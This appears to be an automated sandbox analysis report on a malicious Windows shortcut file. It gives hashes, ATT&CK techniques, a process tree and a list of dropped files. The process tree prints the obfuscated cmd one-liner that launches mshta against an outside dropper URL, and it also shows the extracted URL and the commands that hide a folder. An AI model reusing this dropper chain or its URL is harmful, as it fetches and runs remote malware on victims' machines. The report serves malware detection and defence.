0cbd5f30a180a65c16f6c4b28d74073102bdd99947142aeba7cee0670b2488c1

Analysis

max time kernel
25s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
LeXNET-DOC-Z57OGO.lnk
Size 1KB
Sample260803-q2pr2s1blb
SHA256 0cbd5f30a180a65c16f6c4b28d74073102bdd99947142aeba7cee0670b2488c1
MD5 4191f77ceec752a2176fe2d99a2b629b
SHA1 6ae2b411ceacd048cd0f698e2dc0761a9dcd6581
SHA512 c8c3dc608a4ea63b6b96c9e1a80bc892442558be8a25dbd791ae149e20181517712aea7d5a59f62036a051f9fb2f6f394e86ddac442a0280599a0e2999a944d5
TLSH
T12731C0103FFC0524F3B3DEB3987B571059BBB8668D20C62D4040854C5072A01E17BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	5140	mshta.exe
6	5140	mshta.exe
7	5140	mshta.exe
8	5140	mshta.exe
9	5140	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2432	cmd.exe
4292	cmd.exe
1920	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2432	cmd.exe
1932	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1932	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3956	rundll32.exe
5244	rundll32.exe
124	rundll32.exe
3316	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4292 wrote to memory of 1920	4292	cmd.exe	90
PID 1920 wrote to memory of 5140	1920	cmd.exe	91
PID 5140 wrote to memory of 5244	5140	mshta.exe	93
PID 5140 wrote to memory of 3956	5140	mshta.exe	94
PID 5140 wrote to memory of 124	5140	mshta.exe	95
PID 5140 wrote to memory of 3316	5140	mshta.exe	96
PID 5140 wrote to memory of 3404	5140	mshta.exe	97
PID 3956 wrote to memory of 1784	3956	rundll32.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3404	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\LeXNET-DOC-Z57OGO.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4292
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set yjoUS=msh&&set lClF=ta&&start "" !yjoUS!!lClF! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\System32\mshta.exe
    mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:5140
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5244
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5940
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3956
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1784
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:124
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5256
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:3316
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:3680
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\idhiofre\"
      4⤵
      Views/modifies file attributes
      PID:3404
  - - C:\idhiofre\idhiofre.exe
      "C:\idhiofre\idhiofre.exe" C:\idhiofre\idhiofre
      4⤵
      PID:5920
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:5812
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4476
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:2432
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

050181E8A7D6C35C06DF1414C779370A

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\050181E8A7D6C35C06DF1414C779370A
Size 542B
SHA256 0b16ece4859331ac4f1da2612feb71c27a833b5193108286ea909c69197f0b0f
MD5 e199fdfe871d8f8fdf9146dc4af8e9cb
SHA1 be19dd5c6c09d181c995390e663528d7a1c7ce08
SHA512 dd0dcb3fb34eb6fc60160acf25cabefc7d60255b6c34564ded9ceec8267084542c5d5f725b8940faabfd8d04dbda4054783742d24805b752cce2d7543e442ee1
TLSH
T149F0EB898E2D655113FAEA60A8A8C8836CFD8482097570311AA28B104856B8FEA632C9
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 1KB
SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
MD5 adac67e1d2da2d706db151c2db316b2d
SHA1 5f6e301d23e33132209707945d0e740d5bcb8996
SHA512 9371b62ac25c6ea8fb6fca19ac47b873ced9b3d0cb45ce4de5ea974b93c12684c65aa23c7d83331c77502853258a08dff73ce5e3fb6170bd3ab1c5b3283a86a9
TLSH
T1DE31AD4EA2153027D5427F72D8CEBE83CEB1364667CAD46B18046E4229AAFC25FC80C9
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
Size 528B
SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
MD5 047f3e9d21d6b325d592b1959e4362e6
SHA1 5aeef5f985171cd69da397fd039854e44ebecdd2
SHA512 4523896ed4a03afafd2075d8c8947236d34fe1da2c246a3f90c2be2a5c151c18bc58a6cde5a209abb8e06e80f662e24d0149640b3e98e8a872bfa8a04ef592a4
TLSH
T147F0500990082252C855FF55DFD6AC97DC76336136E595036D458E410C12F96AF950F5
MD5 SHA1 SHA512 TLSH

Submit Download

050181E8A7D6C35C06DF1414C779370A

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\050181E8A7D6C35C06DF1414C779370A
Size 192B
SHA256 8ac36afc7faad14c3ac8e4f3c198cf8c90f569066b16f31444e99b00c3397a8e
MD5 fa3d920a9cbf99de62756ee0e6edf42f
SHA1 dae35592271a51e845ff5f1aef0d8dcc6a28576f
SHA512 1c6afab80791b9cf214f52058d1e666b0a48e20c74b28764def74c4f049ec93330d0898b73d364d09724479dd7476600c214a0ec9581faa3e2b369f4fab4f4bc
TLSH
T18CC08C027365094EF238023E0EB3B70267FCF184D981830D7FF40155562EA902A30E01
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 174B
SHA256 3ff15fe62a3e9b195a6e0f76e9741e5b8bb9ce0f52a3e38165081a315989bd7d
MD5 ef623b14f63ce07f4aa4387991752de7
SHA1 ff252d5867228a060edc0300e67dbb535473ca5f
SHA512 dadda6610403763e15733369e9f0b8515b9c562567ab19b02d74649e5211ef2bee187c3a5d215e2f934b8f740c4171d401df7124f62767ecb297a0e338d40cb0
TLSH
T120C09B0437B54265F1314D7F2653531347FAE505CD8183540F705359C65DB425CF5D06
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Size 170B
SHA256 4dc4bacc33ca70860af45b9af4f25947369d939d6324d1fd6ea187f64fb3d7f4
MD5 a5d1217184d8fbad87987b5e3e701554
SHA1 030a83c7db4ea2dbbf0638bab065bcd867753dc6
SHA512 094b39165a8908704b5fc31eac99d09ea81cbc160da6caeb0d13a738ee1ca04f5107ed9e02ea927338959109f772baceebd867548aafd39c5d1ad43ef346de6b
TLSH
T1F0C09224B3B9471AF10E253E79E61A065BBA924AF6CAC3044BB811388A28A4418B2D09
MD5 SHA1 SHA512 TLSH

Submit Download

a1.zip

Path C:\idhiofre\a1.zip
Size 494KB
SHA256 2a2db5417b70eb8638f7ac7a5e9216197e7ea5fafefc207a35f42d97fac20902
MD5 56a246407b26a2a2fe531e52e8e538eb
SHA1 a51bb582d4903720504da25ee8c493de534d92e3
SHA512 56489d755d820a9c40b9be9091f9090f96a184f785921edb394fd6a01bbbab000124a49b97c0c054cb3cc4a84ee1c00ee328ebbd7dc73f78852aa1d02db59c82
SSDEEP 12288:6xU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIg:6q7hblmK/dgGeVlk22aCarIg
TLSH
T118B4231C22C4BD086D3D97FB58539F7405E66A9E14B8024CE18B63C4ABCEF815F829E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a2.zip

Path C:\idhiofre\a2.zip
Size 1.3MB
SHA256 e91a801a88de336156f8ac0724d36174d1c8c31d14d229ebde3539a9b07c86ac
MD5 3d0cbf4e8cc804f5b66e6c989b8d8378
SHA1 740b1b7d3985c657996d1cf5fe1c73efc43dd03c
SHA512 b3659d4da7c0ff509aed2dadea1f7af221c96f7deb396e3c83dae8a8962ea961e62b8dfcf12c5bb3c0feceda34e7f0d52350c73c8b8ea0174b37d92f3434c550
SSDEEP 24576:gAQYltjM5BqgdnjIyK2UxYGAXTZWyutR+kXM0JyU9mSff3Pc7pOU5JLMiJ:gAQUgNIkUx6TZW58kX9UU9mcfUF5J4iJ
TLSH
T1205533F2195136CAA1ECBC1F05F057D581867C9ABBFE2B4E3641308E0D15F91BEB9268
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\idhiofre\a3.zip
Size 2KB
SHA256 0ac4a8c88c9b6abd1280b3f1dc0338191e6bdc86a703e11435ff4fc68d8db8b9
MD5 65e79a6584697684abd8b028bc4d8a80
SHA1 d701492dfa9d136aa28f2bf8266a8ceaa4b66147
SHA512 3c11ab18cabb9054fa3c4c2446592e90c4025695ca08ea9a7958f70a4649c221e1684353f1dfd7dd34eaf8ba197c23e72101aafc906080b2758a72a158ec527b
TLSH
T15F413AE98D7CBDA0D28FB9349A24987155373EC499C466680EBFEC042130398DB2E42C
MD5 SHA1 SHA512 TLSH

Submit Download

idhiofre

Path C:\idhiofre\idhiofre
Size 1.3MB
SHA256 c7f22abb4ddd7fdb324bf80faa5449654a899c22ffc5ab8d5988be10e4a51ea4
MD5 9c4bd2c3a1bc7bd93bad88e795576cc7
SHA1 70ad55f52d1ca30b0b218ff3aa21c2aed48e75c7
SHA512 6279ae4c2b30959d068cf31bfd9bae01c729a6891fd076bc21725f86a2446d7bc6ed2c8c188db55d18ea662d686b6f26191405429ecfadba7a38fa49e5e76709
SSDEEP 24576:xAsY9j7ud5qghDjIKoUU94G2X5ZOaut1+edMyJyU9kGfX3Pc7TiUnBL9iu:xAssgxIuU985ZOBoed9UU9k4XU/nBBiu
TLSH
T1C15533F2195136CAA1E8BC1F05F057D581867C9ABFFE2B4E3641308E0D15F91BEB9268
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idhiofre.exe

Path C:\idhiofre\idhiofre.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5140-16-0x000001F084040000-0x000001F084130000-memory.dmp

Download

memory/5920-119-0x0000000000400000-0x00000000005C8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads